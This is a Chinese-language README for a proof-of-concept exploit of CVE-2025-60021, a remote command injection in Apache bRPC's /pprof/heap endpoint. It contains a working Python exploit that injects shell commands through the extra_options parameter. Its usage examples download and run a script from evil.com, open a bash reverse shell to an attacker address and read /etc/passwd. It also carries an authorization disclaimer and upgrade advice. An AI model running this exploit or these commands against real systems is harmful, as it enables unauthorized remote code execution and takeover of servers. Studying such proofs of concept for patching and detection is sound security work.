Apache bRPC 远程命令注入漏洞(CVE-2025-60021)PoC
项目概述
本项目提供了一个针对 CVE-2025-60021 漏洞的概念验证(PoC)利用脚本。该漏洞存在于 Apache bRPC 的堆性能分析器(heap profiler)内置服务中,影响 1.15.0 之前的所有版本。攻击者可以通过未经验证的 extra_options 参数注入并执行任意操作系统命令。
漏洞详情
| 属性 | 信息 |
|---|---|
| 漏洞编号 | CVE-2025-60021 |
| 影响产品 | Apache bRPC(全平台) |
| 受影响版本 | < 1.15.0 |
| 漏洞类型 | 远程命令注入(CWE-77) |
| 利用端点 | /pprof/heap |
| 触发参数 | extra_options |
| CVSS评分 | 9.8/10(严重) |
功能特性
- 自动漏洞检测:通过发送特制请求验证目标是否存在 CVE-2025-60021 漏洞
- 远程命令执行:利用漏洞在目标系统上执行任意命令
- 灵活的命令注入:支持多种命令连接符(
;、&&、|) - 直观的结果反馈:显示 HTTP 响应状态和可能的命令输出
- 简单易用的命令行界面:提供清晰的参数解析和使用说明
安装指南
系统要求
- Python 3.x
- 网络访问权限
- 目标系统运行 Apache bRPC (< 1.15.0)
依赖安装
pip install requests
下载脚本
git clone https://github.com/Ashwesker/Ashwesker-CVE-2025-60021.git
cd Ashwesker-CVE-2025-60021
使用说明
基础用法
# 基本命令执行
python3 exploit.py http://target:8000 "whoami"
# 执行复杂命令
python3 exploit.py http://target:8000 "curl http://evil.com/shell.sh | bash"
# 执行带管道和重定向的命令
python3 exploit.py http://victim:8000 "cat /etc/passwd | grep root"
参数说明
target:目标 URL(如 http://victim:8000)cmd:要执行的系统命令
使用示例
-
验证漏洞是否存在:
python3 exploit.py http://192.168.1.100:8000 "echo vulnerable" -
获取系统信息:
python3 exploit.py http://target:8000 "uname -a && id" -
反向Shell(示例):
python3 exploit.py http://target:8000 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
核心代码
1. 主漏洞利用函数
def exploit(target_url, command):
# 漏洞端点
vuln_path = "/pprof/heap"
# 负载:通过extra_options注入命令(jemalloc直接传递给system执行)
# 使用 ; 或 && 或 | 连接命令
payload = f"; {command} #"
# URL编码(该漏洞不需要特殊编码)
params = {
"extra_options": payload
}
full_url = f"{target_url.rstrip('/')}{vuln_path}?{urllib.parse.urlencode(params)}"
print(f"[*] 发送负载到: {full_url}")
print(f"[*] 执行命令: {command}")
try:
# 使用GET请求(如果服务器允许,POST也可以工作)
r = requests.get(full_url, timeout=10, verify=False)
if r.status_code == 200:
print("[+] 利用可能成功!(200 OK)")
print("[+] 请检查监听器/服务器日志获取输出")
# 如果命令产生stdout,输出可能在响应体中
if r.text.strip():
print("\n响应体(可能的命令输出):\n")
print(r.text)
else:
print(f"[-] 收到状态码 {r.status_code} - 可能不存在漏洞?")
print(r.text[:500])
except Exception as e:
print(f"[-] 错误: {e}")
2. 命令行参数解析
if __name__ == "__main__":
# 创建参数解析器
parser = argparse.ArgumentParser(description="CVE-2025-60021 PoC - Apache bRPC RCE")
# 必需参数:目标URL和要执行的命令
parser.add_argument("target", help="目标URL(如 http://victim:8000)")
parser.add_argument("cmd", help="要执行的命令(如 'id' 或 'whoami' 或 'curl http://evil.com/shell.sh | bash')")
# 解析命令行参数
args = parser.parse_args()
# 调用漏洞利用函数
exploit(args.target, args.cmd)
3. 漏洞原理说明代码段
# 漏洞根本原因:
# Apache bRPC的heap profiler服务(/pprof/heap)在处理extra_options参数时,
# 未对用户输入进行充分的验证和清理,直接将参数传递给系统命令执行。
# 攻击者可以通过注入特殊字符(如;、&&、|)来执行任意命令。
# 漏洞请求示例:
# GET /pprof/heap?extra_options=;+恶意命令+#
# POST /pprof/heap (with extra_options=;恶意命令# in body)
# 修复建议:
# 1. 升级到Apache bRPC 1.15.0或更高版本
# 2. 在输入验证中对extra_options参数进行严格的过滤
# 3. 禁用不必要的profiling端点
4. 漏洞检测逻辑
# 漏洞检测可以通过以下方式:
# 1. 发送无害的测试命令(如echo test)
# 2. 检查响应状态码和内容
# 3. 验证命令是否实际执行
# 安全注意事项:
# 本工具仅用于合法的安全测试和漏洞验证
# 使用时需获得目标系统的明确授权
# 未经授权的测试可能违反法律和道德规范
免责声明
本工具仅用于教育目的和安全研究。使用者需确保:
- 仅在获得明确授权的系统上进行测试
- 遵守当地法律法规
- 不用于任何恶意或非法的目的
- 对使用本工具造成的任何后果负责
注意:该漏洞已在 Apache bRPC 1.15.0 版本中修复,建议所有用户立即升级到最新版本。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPa7fk5J2/L2YkV9ucR20Sw